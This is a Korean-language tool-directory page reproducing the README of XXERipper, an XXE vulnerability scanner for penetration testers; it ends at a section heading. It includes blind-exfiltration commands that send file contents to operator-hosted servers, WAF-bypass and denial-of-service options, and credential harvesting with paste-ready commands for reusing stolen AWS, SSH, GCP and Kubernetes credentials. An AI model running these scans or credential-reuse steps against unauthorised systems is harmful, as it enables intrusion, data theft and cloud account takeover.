Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
XXERipper — 블랙박스 XXE 스캐너로, 통계적 베이스라이닝, 파서 핑거프린팅, OOB 확인을 통해 인밴드, 에러 기반, 블라인드 아웃오브밴드 주입을 탐지하며 SARIF 출력을 지원합니다. | Kitploit
도구/GitHubGitHub/kamalx06/xxeripper
ReconnaissanceVulnerability ScannersWeb Vulnerability ScannersExploitationScripting & AutomationAPI Security TestingData ExfiltrationInformation GatheringWAF BypassWeb SecurityPenetration TestingRed Teaming
251일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubkamalx06/xxeripper

XXERipper

블랙박스 XXE 스캐너로, 통계적 베이스라이닝, 파서 핑거프린팅, OOB 확인을 통해 인밴드, 에러 기반, 블라인드 아웃오브밴드 주입을 탐지하며 SARIF 출력을 지원합니다.

저장소 보기

XXERipper

보안 전문가를 위한 독립 실행형 블랙박스 XML 외부 엔티티(XXE) 스캐너.

XXERipper는 30개 이상의 공격 기법군에 걸쳐 인밴드(in-band), 오류 기반(error-based), 블라인드 아웃오브밴드(out-of-band) XXE를 탐지합니다. 통계적 베이스라이닝, 차등 파서 핑거프린팅, interactsh-client를 통한 아웃오브밴드 확인(수동 또는 자동), 브라우저 기반 콘솔, WAF 우회 인코딩, 종단 간 익스플로잇 체인 탐지, 붙여넣기 가능한 셸 스니펫을 포함한 자격 증명 추출, CWE 매핑 결과, 그리고 CI/CD 및 보고를 위한 JSON / SARIF / HTML 출력을 결합합니다.

License: GPL v3 Python 3.9+ Version PRs Welcome


목차

  • 개요
  • 주요 기능
  • 설치
  • 빠른 시작
  • 사용법
  • 명령줄 레퍼런스
  • 웹 콘솔
  • 아키텍처 및 설계
  • 핑거프린팅 방법론
  • 탐지 방법론
  • 정확도 엔진
  • 공격 기법
  • 익스플로잇 체인 및 전리품 추출
  • 아웃오브밴드 확인
  • WAF 우회 인코딩
  • 사용자 정의 페이로드
  • 출력 형식
  • 신뢰성 및 커버리지
  • CI/CD 통합
  • 포함된 랩에 대한 테스트
  • 빌드, 라이선스 및 크레딧

개요

XXERipper는 XML 외부 엔티티 인젝션을 위한 자체 완결형 CLI 및 브라우저 콘솔 스캐너로, 잘못 테스트하기는 쉽고 제대로 테스트하기는 어려운 취약점 클래스를 정확하고 낮은 오탐률로 탐지해야 하는 침투 테스터, 버그 바운티 헌터, 보안 연구자를 위해 설계되었습니다.

의도적으로 최소한의 의존성 — httpx와 (콘솔용) flask, 그 외에는 아무것도 — 을 사용하며 종단 간 감사가 가능합니다. 모든 단계를 추적할 수 있고, 모든 발견에는 증거 추적이 따르며, 건너뛴 모든 기법은 이유와 함께 보고되고, 추출된 모든 파일이나 자격 증명은 중복 제거되어 붙여넣기 가능한 익스플로잇 스니펫과 함께 저장됩니다.

XXERipper는 엔티티 해석 프리미티브 자체를 넘어서 대상를 익스플로잇하지 않습니다. 파서가 외부 엔티티를 해석하는지, 그 결과를 인밴드로, 파서 오류를 통해, 또는 아웃오브밴드로 관찰할 수 있는지를 판단하고, 그 판단을 신뢰도 점수, CWE 매핑, 그리고 전체 체인이 완료되었을 때는 종단 간 영향을 명시하는 롤업 발견과 함께 보고합니다.


주요 기능

  • 30개 이상의 공격 기법군 — 인밴드, 오류 기반, 블라인드, 인코딩 우회, 대체 싱크, 확장 페처, 클라우드 메타데이터, RCE 래퍼, Office 문서, YAML 역직렬화 클래스에 걸쳐 있습니다.
  • 종단 간 익스플로잇 체인 탐지. ChainTracker가 모든 발견을 관찰하고, ID + 증거로부터 체인 단계를 도출하며, 템플릿이 완성되면 롤업 발견을 발생시킵니다 — XXE → IMDS → IAM 자격 증명 → AWS 계정 탈취, XXE → SSH 개인 키 → 측면 이동, XXE → Kubernetes 시크릿 → 클러스터 자격 증명 탈취, 그리고 열 가지 더.
  • 일곱 종류에 걸친 자격 증명 추출을 갖춘 전리품 저장소. 모든 파일 읽기 발견은 응답에서 원시 파일 내용을 끌어내고, 중복 제거하여 저장하며, AWS IAM 블롭, AWS CLI 자격 증명, Alibaba RAM 자격 증명, SSH 개인 키, GCP 서비스 계정, OAuth 액세스 토큰(GCP 메타데이터 및 Azure 관리 ID), Kubernetes 서비스 계정 토큰, 일반 베어러 토큰을 스캔하는 범용 추출기를 거칩니다. 각 자격 증명은 붙여넣기 가능한 셸 스니펫 — aws sts get-caller-identity, aliyun sts GetCallerIdentity, ssh -i …, gcloud auth activate-service-account, kubectl --token=…, curl -H 'Authorization: Bearer …' — 을 함께 제공하며, 해당되는 경우 토큰의 실제 클레임으로 구성됩니다.
  • 11개 XML 스택에 걸친 차등 파서 핑거프린팅 (libxml2, Xerces, .NET, Java SAX/StAX, Python stdlib, PHP DOM, Ruby, Node.js, Perl, Go) — 쌍을 이룬 테스트/대조 프로브와 디스크상의 URL별 캐시를 사용합니다.

설치

PyPI (권장)```bash

pip install xxeripper pip install "xxeripper[socks]" # plus SOCKS proxy support

root@kitploit:~
기본 설치에는 `httpx[http2]`(ALPN을 통해 HTTP/2 협상이 활성화됨)와 `Flask`(`--serve` 웹 콘솔에서 사용됨)가 포함됩니다.
SOCKS 프록시 지원은 유일한 선택적 추가 기능입니다. HTTP/2는 선택적 기능이 아니라 필수 기능이며, 기본 의존성 목록에 `httpx[http2]`로 포함되어 있습니다. `xxeripper[http2]` 추가 기능은 순전히 사용자 습관을 위해 제공되며, 이를 설치하는 것은 기본 패키지를 설치하는 것과 동일합니다.

### 배포 패키지```bash
sudo pacman -U xxeripper-1.0.0-1-any.pkg.tar.zst    # Arch
sudo dpkg -i xxeripper_1.0.0-1_all.deb              # Debian / Ubuntu
sudo dnf install xxeripper-1.0.0-1.fc44.noarch.rpm  # Fedora / RHEL

소스에서```bash

git clone https://github.com/kamalx06/XXERipper.git cd XXERipper && pip install -e ".[socks]"

root@kitploit:~
### 요구 사항

- **Python 3.9부터 3.14까지.**
- **`httpx[http2]` ≥ 0.27, < 0.29** — HTTP 클라이언트. HTTP/2 지원은
  `httpx`의 `[http2]` 추가 기능을 통해 포함되며, 이는 `h2`
  의존성을 함께 가져옵니다. 스캐너는 TLS 핸드셰이크에서 ALPN을 통해
  HTTP/2를 협상하고, 서버가 이를 지원하지 않는 경우 조용히
  HTTP/1.1로 폴백합니다.
- **`Flask` ≥ 3.0, < 4.0** — `--serve` 웹 콘솔에서 사용됩니다. 이는
  선택적 의존성이 아닌 주요 의존성입니다. 콘솔은 일급 인터페이스이며,
  `xxeripper --serve`는 [빠른 시작](#quick-start) 및
  [웹 콘솔](#web-console)에 문서화되어 있습니다.
- **선택 사항:** SOCKS 프록시용 `PySocks` ≥ 1.7.1
  (`xxeripper[socks]`).
- **선택 사항:** 자동 OOB 확인(`--oob-auto`)을 위한 `PATH` 내
  `interactsh-client`. 수동 OOB 모드(`--oob-domain`)는 외부
  의존성이 없습니다 — 별도 터미널에서 직접 `interactsh-client`를
  실행합니다.

휠에는 단일 파일 `xxeripper.py`가 포함되어 있습니다. 패키지
디렉터리도, 컴파일된 확장도, 설치 시 빌드 단계도 없습니다.
CLI 진입점은 `xxeripper = "xxeripper:main"`으로 선언되어 있으므로,
`pip install xxeripper`는 `PATH`에 `xxeripper` 실행 파일을
배치합니다.

### 선택적 추가 기능

| 추가 기능 | 가져오는 항목 | 설치 시기 |
|---|---|---|
| `xxeripper[socks]` | `PySocks` ≥ 1.7.1 | `socks5h://`를 통한 Tor를 포함하여 SOCKS5 프록시를 통해 스캔할 때 |
| `xxeripper[http2]` | *(새로운 항목 없음)* | 엄격히 필요하지 않음 — 기본 설치에 이미 `httpx[http2]`가 포함되어 있음. 사용자 습관을 위해 제공됨 |

`[webui]` 추가 기능은 없습니다 — Flask는 주요 의존성이며,
콘솔은 모든 기본 설치에서 즉시 작동합니다.

---

## 빠른 시작```bash
# 1. Basic scan (in-band and error-based, no OOB)
xxeripper https://target.com/api/xml

# 2. Terminal A: start interactsh-client and note the session domain
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro

# 3. Terminal B: scan with OOB payloads under that domain
xxeripper https://target.com/api/xml \
    --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

# 4. Match the [OOB] lines from the scanner against callbacks in Terminal A

# 5. Or skip the two-terminal dance: let the scanner spawn and drive
#    interactsh-client itself
xxeripper https://target.com/api/xml --oob-auto

# 6. Blind file exfiltration with the built-in DTD server
xxeripper https://target.com/api/xml \
    --oob-auto --oob-listen 0.0.0.0:8888 \
    --oob-public-url http://your-public-ip:8888

# 7. Launch the browser-based console instead of a CLI scan
xxeripper --serve
# [*] XXE-Ripper web console
# [*]   URL:  http://127.0.0.1:8080

# 8. Write a self-contained HTML report
xxeripper https://target.com/api/xml --report-html report.html

# 9. CI usage: write SARIF and fail the build on HIGH+ findings
xxeripper https://target.com/api/xml \
    -o results.sarif --format sarif --fail-on high

스캐너는 베이스라인 캡처, 파서 핑거프린팅, 페이로드 생성, 실행, 스코어링, 체인 롤업, 자격 증명 추출, 리포팅을 처리합니다. 블라인드 확인은 두 개의 터미널 워크플로(수동 모드, 기본값) 또는 완전 자동화된 서브프로세스 기반 워크플로(--oob-auto)로 사용할 수 있습니다.


사용법```bash

Authenticated scan

xxeripper https://target.com/api/xml --cookie "SESSION=...; csrf=abc" xxeripper https://target.com/api/xml --cookie-file cookies.txt

Multi-step auth: replay a login first, then scan with the resulting session

xxeripper https://target.com/api/xml
--pre-auth-request login.burp --pre-auth-request csrf.burp

Burp request ingestion

xxeripper -r request.txt --oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

Automatic OOB (spawns interactsh-client, correlates callbacks in-process)

xxeripper -r request.txt --oob-auto

Blind exfiltration with the built-in DTD server

xxeripper https://target.com/api/xml
--oob-auto
--oob-listen 0.0.0.0:8888
--oob-public-url http://198.51.100.7:8888

Blind exfiltration with a directory served by your own web server

xxeripper https://target.com/api/xml
--oob-auto
--oob-dtd-dir /var/www/dtds
--oob-dtd-url-prefix http://198.51.100.7:8000/dtds

Custom payloads (inline, file, directory)

xxeripper https://target.com/api/xml
--payload ']>&e;'
--payload-file ./my_payloads.xml --payload-dir ./custom_xxe/
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

Rate-limited batch scan

xxeripper -u targets.txt -o results.json
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro --rate 5 --threads 10

Extended file-target scan

xxeripper https://target.com/api/xml --full-file-scan

Force upload-shaped phases on a target whose URL does not hint at it

xxeripper https://target.com/ingest --svg
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro

Force the SAML pre-signature phase on a non-SAML-shaped URL

xxeripper https://target.com/auth/assert --saml --oob-auto

WAF bypass: re-send the entire catalogue through every encoder

xxeripper https://target.com/api/xml --bypass-waf all --oob-auto

WAF bypass: pick specific encoders

xxeripper https://target.com/api/xml
--bypass-waf utf16be,utf32le,ucs4_2143,b64_uri --oob-auto

Start the web console instead of a CLI scan

xxeripper --serve --port 8080

Both JSON and SARIF output, plus a printable HTML report

xxeripper https://target.com/api/xml
-o results --format both --report-html results.html

Full combination

xxeripper -r request.txt --cookie "extra=token" --payload-dir ./payloads/
--oob-auto --timing --unsafe --svg --saml --full-file-scan
--bypass-waf utf16be,ebcdic,ucs4_2143
--oob-dtd-dir /var/www/dtds --oob-dtd-url-prefix http://198.51.100.7:8000/dtds
--threads 20 --rate 8 --timeout-read 20 --budget 1800
--proxy socks5://127.0.0.1:9050 --debug
-o results --format both --report-html report.html

root@kitploit:~
---

## 명령줄 참조

### 대상 및 출력

| 옵션 | 설명 |
|---|---|
| `url` (위치 인수) | 스캔할 단일 URL |
| `-u, --urls FILE` | URL 목록 파일, 한 줄에 하나씩 |
| `-r, --request FILE` | Burp 형식의 원시 HTTP 요청 |
| `-o, --output FILE` | 결과 출력 파일 |
| `--format {json,sarif,both}` | 출력 형식. 기본값: `json` |
| `--report-html PATH` | 스캔 후 자체 포함 HTML 보고서 작성 |
| `--fail-on {critical,high,medium,low,never}` | 이 심각도 이상의 발견 사항이 있을 때 종료 코드 `2`로 종료. 기본값: `never` |
| `--debug` | 상세 진단 출력 |

### 대역 외

| 옵션 | 설명 |
|---|---|
| `--oob-domain SESSION_DOMAIN` | **수동 모드.** Interactsh-client 세션 도메인. 스캐너는 이 도메인 아래에 페이로드를 구성하고 대상의 요약에 각 하위 도메인을 출력합니다. 폴링하지 않으므로 `interactsh-client` 터미널을 주시하세요. `--oob-auto`와 상호 배타적 |
| `--oob-auto` | **자동 모드.** `interactsh-client`를 하위 프로세스로 실행하고, JSON 출력에서 세션 도메인을 추출하며, 프로세스 내에서 콜백을 상관 분석합니다. `PATH`에 `interactsh-client`가 필요합니다. `--oob-domain`과 상호 배타적 |
| `--oob-timeout SECONDS` | 폴링당 OOB 대기 예산. `--oob-auto`에서만 의미가 있으며, `--oob-domain`과 함께 사용하면 인수 오류입니다. 수동 모드는 절대 대기하지 않기 때문입니다. 기본값: `8.0` |

### 블라인드 유출

| 옵션 | 설명 |
|---|---|
| `--oob-listen HOST:PORT` | DTD 페이로드를 제공하는 내장 HTTP 서버를 바인딩합니다. `--oob-public-url`이 필요합니다. 모든 인터페이스에 바인딩하려면 `0.0.0.0:PORT`를 사용하세요 |
| `--oob-public-url URL` | 내장 DTD 서버의 공개 URL 접두사 (예: `http://198.51.100.7:8888`). `--oob-listen`과 함께 필요합니다 |
| `--oob-dtd-dir PATH` | `--oob-listen`의 대안: 스캐너가 DTD 파일을 작성하는 디렉터리. 자체 웹 서버에서 제공하세요. `--oob-dtd-url-prefix`가 필요합니다 |
| `--oob-dtd-url-prefix URL` | `--oob-dtd-dir`에 매핑되는 공개 URL 접두사 (예: `http://198.51.100.7:8000/dtds`) |

두 모드는 실제로 상호 배타적입니다: 대상이 스캐너의 주소에 도달할 수 있을 때는 `--oob-listen`을 사용하고, 공개 웹 서버를 제어할 때는 `--oob-dtd-dir`을 사용하세요. 수동 OOB 모드(`--oob-domain`)는 유출을 지원하지 않습니다 — 수동 모드에서 스캐너는 interactsh의 출력을 읽지 않으므로, 유출된 콘텐츠는 운영자의 터미널에서 읽어야 합니다.

### 웹 콘솔

| 옵션 | 설명 |
|---|---|
| `--serve` | CLI 스캔을 실행하는 대신 브라우저 기반 콘솔을 시작합니다 |
| `--host ADDRESS` | 콘솔의 바인드 주소. 기본값: `127.0.0.1`. 시작 배너는 루프백이 아닌 바인드에 대해 경고합니다 |
| `--port PORT` | 콘솔의 바인드 포트. 기본값: `8080` |

### 핑거프린트 및 파일 타겟팅

| 옵션 | 설명 |
|---|---|
| `--no-fingerprint` | 파서 핑거프린트 단계를 건너뜁니다. 기능 게이팅이 비활성화되며 모든 단계가 무조건 실행됩니다 |
| `--no-fingerprint-cache` | 디스크상의 핑거프린트 캐시를 비활성화하고 새로운 프로브를 강제합니다 |
| `--full-file-scan` | 우선순위 하위 집합(~21개 경로) 대신 전체 Linux + Windows 파일 대상 목록(~58개 경로)을 반복합니다 |

### 쿠키 및 페이로드

| 옵션 | 설명 |
|---|---|
| `--cookie STRING` / `--cookie-file FILE` | 인라인 쿠키 또는 Netscape jar / `key=value` 파일 |
| `--no-cookie-merge` | `Set-Cookie` 병합을 건너뜁니다 |
| `--pre-auth-request FILE` | 스캔 전에 Burp 형식 요청을 한 번 재생합니다. 응답의 `Set-Cookie` 헤더가 스캐너의 jar에 병합됩니다. 다단계 인증을 위해 반복하세요 |
| `--payload XML` / `--payload-file FILE` / `--payload-dir DIR` | 사용자 정의 페이로드 (인라인, 파일, 디렉터리) |

### 공격 모드

| 옵션 | 설명 |
|---|---|
| `--timing` | 타이밍 기반 블라인드 탐지를 활성화합니다 |
| `--unsafe` | DoS 페이로드(Billion Laughs)를 활성화합니다 |
| `--svg` | SVG 업로드 및 multipart/DOCX/Office-XSLT 단계를 강제합니다 |
| `--saml` | URL이 SAML 형태로 보이지 않는 엔드포인트에서 SAML 사전 서명 단계를 강제합니다 |

### WAF 우회

| 옵션 | 설명 |
|---|---|
| `--bypass-waf [ENCODERS]` | 핵심 단계 *이후* 선택한 인코더를 통해 전체 페이로드 카탈로그를 재전송합니다. 모든 인코더를 사용하려면 `all`(또는 값 없음)을 전달하거나 쉼표로 구분된 하위 집합을 전달하세요. 유효한 이름: `utf16be`, `utf16le`, `utf16decl`, `utf16nobom`, `utf32be`, `utf32le`, `ebcdic`, `ucs4_2143`, `utf8bom`, `public`, `public_charref`, `b64_uri`, `whitespace_pad`, `doctype_closure`, `pe_stager` |
| `--bypass-waf-include-custom` | 스윕을 사용자 제공 페이로드로 확장합니다. `--bypass-waf`와 함께만 의미가 있습니다. `{CALLBACK}` 또는 `{DOMAIN}`을 참조하는 사용자 정의는 건너뜁니다 |

### 네트워크 및 안정성

| 옵션 | 설명 |
|---|---|
| `--proxy URL` | `http://`, `https://`, `socks5://`, 또는 `socks5h://` |
| `--threads N` | 동시 대상 수. 기본값: 20 |
| `--rate R` | 대상당 초당 최대 요청 수. 기본값: 무제한 |
| `--timeout-connect SECONDS` / `--timeout-read SECONDS` | 기본값: 5.0 / 15.0 |
| `--budget SECONDS` | 실시간 스캔 제한. 기본값: 3600 |
| `--verify-tls` | 인증서 검증을 다시 활성화합니다 |

### 사용자 정의 페이로드 플레이스홀더

`{FILE}`, `{CALLBACK}`, `{DOMAIN}`, `{URL}`, `{HOST}` — 디스패치 시점에 현재 파일 대상, 고유 콜백 하위 도메인, 세션 도메인, 대상 URL, 대상 호스트 이름으로 대체됩니다.

---

## 웹 콘솔

콘솔은 스캔을 실행하고 검사하기 위한 브라우저 기반 워크벤치로, `--serve`를 통해 동일한 바이너리에서 제공됩니다.```bash
xxeripper --serve
# [*] XXE-Ripper web console
# [*]   URL:  http://127.0.0.1:8080
# [*]   127.0.0.1 by default. Do NOT expose to untrusted networks.
# [*]   OOB auto mode available via the WebUI
#         (interactsh-client will be spawned on first use).

콘솔은 기본적으로 loopback에 바인딩되며 인증이 없습니다. --host로 다시 바인딩하면 명시적인 경고가 출력됩니다. 원격 접근이 필요하면 인증된 리버스 프록시 뒤에 두십시오.

레이아웃

3분할 워크벤치:

  • Targets (왼쪽) — 실시간 상태, 발견 개수, 심각도 분류가 표시되는 모든 작업.
  • Center — 탭이 있는 창:
    • Findings — 심각도별 필터링, 텍스트 검색, 심각도 / ID / 제목 / 신뢰도 기준 정렬 가능.
    • Events — 단계 전환, 취소, 라이프사이클 이벤트.
    • OOB — 콜백이 도착하면 페이로드별 상관 상태가 표시되는 디스패치 목록과, 복구된 파일 내용을 담은 콜백 아래의 exfiltrated 블록.
    • Loot — 선택한 대상에서 복구된 모든 파일과 자격 증명. 전체 내용 복사 버튼과 붙여넣기 가능한 셸 스니펫 제공.
    • Log — 활성화 시 디버그 출력.
  • Inspector (오른쪽) — 선택한 발견에 대한 Overview / Evidence / Reasons / Raw 하위 탭. Overview는 추출된 자격 증명을 명령별 복사 버튼과 함께 인라인으로 렌더링합니다. 모든 값에 복사 버튼이 있습니다.

명령 팔레트

⌘K / Ctrl+K를 누르면 명령, 대상, 발견 항목을 퍼지 검색할 수 있습니다. 발견 항목은 팔레트에서 심각도가 색상 알약으로 표시됩니다.

키보드 단축키

새 스캔 드로어

브라우저에서 모든 CLI 플래그에 완전히 접근할 수 있습니다: URL 또는 Burp 요청, OOB 모드 (수동 도메인 또는 자동), 두 가지 상호 배타적 옵션(WebUI 호스팅 DTD 서버 + 공개 URL 필드, 또는 DTD 디렉터리 + 외부 서빙용 URL 접두사)이 있는 Blind exfiltration 섹션, 프록시, 쿠키, 속도, 예산, 타임아웃, 스레드, 사용자 정의 페이로드, 페이로드 파일, 사전 인증 요청, 스캔 옵션용 체크박스 그리드. WAF 우회 섹션은 15개 인코더를 개별 체크박스와 "Toggle all" 버튼으로 노출합니다. 인코더 그리드와 include-custom 체크박스는 모두 드로어가 닫힐 때마다 꺼진 상태로 초기화되므로, 우회 설정이 스캔 간에 조용히 이어지지 않습니다.

콘솔에서의 Auto OOB

드로어에서 Auto OOB mode를 체크하면 서버 프로세스 수명 동안 하나의 interactsh-client가 생성됩니다. 첫 번째 auto-OOB 작업에서 지연 생성되고 이후 재사용됩니다. 여러 동시 작업이 세션 도메인을 공유하지만 독립적인 토큰 집합을 유지하므로 콜백이 대상별로 올바르게 귀속됩니다. 수신 콜백은 도착하는 대로 서버 터미널에 출력됩니다.

WebUI 호스팅 DTD 서버

CLI 측 DTD 호스팅 옵션 외에도, WebUI는 자체 Flask 라우트에서 DTD를 서빙할 수 있습니다. 드로어에서 Serve DTDs from this WebUI를 체크하고 WebUI에 접근 가능한 공개 URL을 입력하면, 스캐너가 콘솔을 실행하는 동일한 Flask 프로세스의 /dtd/<token>.dtd에 DTD를 등록합니다. 두 번째 터미널도, python -m http.server도, 별도 디렉터리도 필요 없습니다.

이는 대상이 WebUI가 바인딩된 주소에 도달할 수 있을 때 작동합니다. 콘솔을 공개 URL 접두사와 함께 0.0.0.0에 바인딩하면 WebUI가 완전히 자급자족하는 유출 서버가 됩니다. 대상은 원격이고 WebUI는 그렇지 않은 경우, 대신 CLI의 --oob-dtd-dir 모드를 사용하십시오: 스캐너가 DTD 파일을 디렉터리에 쓰고, 사용자가 nginx 또는 Apache로 해당 디렉터리를 서빙하면, WebUI가 동일한 스캔 프로세스를 통해 결과를 다시 읽습니다.

작업별 아티팩트

완료된 모든 작업에는 툴바에 세 개의 다운로드 버튼이 있습니다:

  • JSON — CLI의 --format json과 바이트 단위로 동일.
  • SARIF — CLI의 --format sarif와 바이트 단위로 동일.
  • HTML — 자급자족 HTML 보고서 다운로드 (Content-Disposition: attachment 사용).
  • View HTML — 동일한 보고서를 새 탭에서 인라인으로 열기 (Content-Disposition: inline 사용).

같은 파일, 두 가지 동작, 두 개의 버튼.

취소 지원

실행 중인 작업은 콘솔에서 취소할 수 있습니다. 취소는 협력적입니다: 작업의 ScanContext에 신호가 전달되고, 모든 단계가 각 페이로드 전송 전에 이를 확인합니다. 동시성 슬롯을 기다리는 작업은 시작되기 전에 취소할 수 있습니다.


아키텍처와 설계

XXERipper는 소수의 조합 가능한 컴포넌트로 이루어진 단일 파일 오케스트레이터입니다. 플러그인 시스템도, 구성 DSL도, 디스크상의 핑거프린트 캐시 외에 외부 상태도 없습니다.``` ┌─────────────────────────────────────────────────────────────┐ │ Entry points │ │ ─ CLI (argparse) ─ Web console (Flask + single HTML) │ └──────────────────────────┬──────────────────────────────────┘ │ ┌──────────▼──────────┐ │ ScanJob │ │ (web) │ │ scan_target (cli) │ └──────────┬──────────┘ │ ┌──────────────────┼──────────────────┐ │ │ │ ┌────▼────┐ ┌────▼────┐ ┌────▼────┐ │Session │ │Cookie │ │OOBClient│ │(httpx, │ │Manager │ │/ Inter- │ │ HTTP/2) │ │ │ │actshMgr │ └────┬────┘ └─────────┘ └────┬────┘ │ │ │ ┌──────▼───────┐ │ │DTDServer / │ │ │FileDTDWriter │ │ │WebUIDTDServer│ │ └──────────────┘ │ ┌────▼───────────────────────────────────────────────┐ │ XXEDetector │ │ │ │ 1. Baseline capture (StatisticalBaseline) │ │ 2. Parser fingerprint (ParserFingerprint, cache) │ │ 3. Phase execution (ordered, isolated, budgeted)│ │ │ │ ┌────────────┐ ┌────────────┐ ┌──────────────┐ │ │ │Accuracy │ │Chain │ │LootStore / │ │ │ │Engine │◄─┤Tracker │ │Credential │ │ │ │(score, veto│ │(stage │ │Extractor / │ │ │ │ classify) │ │ rollup) │ │FileExtractor │ │ │ └────────────┘ └────────────┘ └──────────────┘ │ └────────────────────────────────────────────────────┘ │ ┌──────────▼──────────┐ │ Reporters │ │ JSON · SARIF · HTML│ └─────────────────────┘

root@kitploit:~
### 구성 요소

| 구성 요소 | 역할 |
|---|---|
| `build_session` | HTTP/2 협상, 연결 풀링, 선택적 프록시, 요청별 헤더 주입을 갖춘 `httpx.Client`를 생성 |
| `CookieManager` | 인라인 문자열, Netscape jar, `key=value` 파일, Burp 헤더의 쿠키를 병합. 선택적으로 모든 응답에서 `Set-Cookie`를 흡수 |
| `CustomPayloadLoader` | 인라인 문자열, 파일(`---` 구분자 또는 `<‌?xml` 경계), 디렉터리에서 사용자 페이로드를 로드, 분할, 정규화 |
| `OOBClient` | 상관된 서브도메인을 생성하고, 대기 중인 토큰을 추적하며, 관찰을 전달하고, 콜백을 라이브 `InteractshManager`와 상관시킴. 수동 및 자동 모드에서 동일하게 작동 |
| `InteractshManager` | `interactsh-client -json -v`를 실행하고 읽으며, 세션 도메인을 추출하고, 스레드 안전 콜백 목록을 노출 |
| `DTDServer` | 블라인드 유출 DTD 페이로드용 내장 HTTP 서버. `--oob-listen`으로 바인딩됨. 요청 시 `<token>.dtd`를 제공 |
| `FileDTDWriter` | 운영자가 외부에서 제공하는 디렉터리에 DTD 파일을 작성. `--oob-dtd-url-prefix`와 함께 사용 |
| `WebUIDTDServer` | WebUI 호스팅 DTD 라우트를 지원. 프로세스 전역 딕셔너리에 DTD를 등록하고 `/dtd/<token>.dtd` 아래의 URL을 반환 |
| `OOBExfilExtractor` | interactsh 콜백 객체를 파싱하고 HTTP 요청 경로/쿼리 및 DNS 서브도메인 레이블에서 유출된 데이터를 추출 |
| `ParserFingerprint` | 쌍을 이룬 테스트/제어 프로브를 전송하고, 오류 텍스트를 11개 시그니처 패밀리와 대조하며, `capabilities` 딕셔너리를 채움 |
| `StatisticalBaseline` | 7개의 정상 샘플을 캡처하고, 중앙값 길이, 경과 시간, 상태, 본문 해시, 중앙값 Shannon 엔트로피, 윈도우 엔트로피, IQR, p95를 계산 |
| `AccuracyEngine` | 후보 응답을 기준선과 대조하여 점수를 매기고, 거부권과 가중치를 적용하며, 심각도를 분류 |
| `XXEPayloadGenerator` | 모든 기법 패밀리에 대한 페이로드 문자열과 바이트를 반환하는 순수 함수 |
| `XXEDetector` | 오케스트레이터: 헤더를 구성하고, 단계를 실행하며, 정확도 엔진을 호출하고, 발견 사항을 기록하며, loot 및 chain 하위 시스템을 구동 |
| `ChainTracker` | 발견 ID와 증거에서 파생된 체인 단계를 기록하고, 템플릿이 완료되면 롤업 발견 사항을 발생시킴 |
| `LootStore` | 추출된 파일과 비밀 정보의 스레드 안전하고 중복 제거된 저장소. 기본적으로 디스크에 아무것도 유지하지 않음 |
| `CredentialExtractor` | AWS IAM JSON 및 INI, Alibaba RAM, SSH 개인 키, GCP 서비스 계정, OAuth 액세스 토큰, Kubernetes 서비스 계정 토큰, 일반 베어러의 정규식 기반 추출. 각각 붙여넣기 가능한 셸 스니펫 포함 |
| `FileContentExtractor` | 응답 본문에서 원시 파일 콘텐츠의 유형별 추출(`/etc/passwd`, `/etc/shadow`, SSH 키, `.env`, `web.config`, `win.ini`, `system.ini`, `boot.ini`, `/proc` 파일), 일반 구조적 폴백 포함 |
| `ScanContext` | 실제 시각 기준 마감 시간과 협력적 취소. 모든 단계는 각 전송 전에 이를 확인 |
| `RateLimiter` | 대상별 요청 간 최소 간격을 강제. `--threads`와 독립적 |

### 스캔 워크플로

1. **사전 점검.** 쿠키 jar가 구성됨. 사전 인증 요청(있는 경우)이 재생되고 해당 `Set-Cookie` 헤더가 병합됨. 사용자 정의 페이로드가 로드됨. `ScanContext` 마감 시간이 설정됨.
2. **기준선 캡처.** 7개의 정상 `POST` 요청이 전송됨. 중앙값 길이, 경과 시간, 상태 코드, 본문 해시, 엔트로피, IQR, p95가 계산됨.
3. **핑거프린트.** 9개의 기능 프로브가 대상에 대해 실행됨. 프로브의 오류 텍스트가 파서 시그니처와 대조됨. 결과는 디스크에 캐시됨(`--no-fingerprint-cache`가 아닌 경우).
4. **핵심 단계.** 인밴드 파일 읽기, JSON-to-XML 전환, 콘텐츠 유형 매트릭스, 메서드 변형, 쿼리 매개변수 주입, SSRF, 클라우드 메타데이터, RCE 래퍼, 오류 기반.
5. **OOB 의존 단계.** DNS 전용, 외부 DTD, 매개변수 엔티티 OOB, CDATA 우회, XInclude 변형, XSLT/XSD 페처, `xml-stylesheet` PI, 멀티파트, DOCX, 폼 인코딩.
6. **우회 및 대체 싱크.** 인코딩 우회, XInclude, SVG 업로드, SAML/SOAP 봉투, SAML 사전 서명.
7. **옵트인 단계.** 타이밍 기반 블라인드(`--timing`), DoS(`--unsafe`).
8. **오피스 문서 및 YAML 단계.** DOCX/XLSX 파트의 `xml-stylesheet` PI, 그리고 PyYAML / SnakeYAML 역직렬화 프로브.
9. **사용자 정의 페이로드.** 각 사용자 페이로드가 모든 파일 대상에 대해 테스트됨.
10. **WAF 우회(선택).** `--bypass-waf`가 설정된 경우, 전체 페이로드 카탈로그가 선택된 모든 인코더를 통해 재전송됨. 핵심 단계 *이후*에 실행되어 인코딩된 스윕 전에 직접 적중이 발견됨.
11. **체인 롤업.** `ChainTracker.emit_rollup_findings()`가 완료된 템플릿을 순회하며 완료당 하나의 롤업 발견 사항을 발생시킴.
12. **보고.** 결과가 JSON, SARIF, 및/또는 자체 포함 HTML로 직렬화됨.

모든 단계는 `_run_phase` 내부에서 실행되며, 이는 모든 예외를 포착하고, `--debug` 아래에 트레이스백을 기록하며, 다음 단계로 계속 진행함. 충돌 전에 발생한 발견 사항은 손실될 수 없음.

---

## 핑거프린팅 방법론

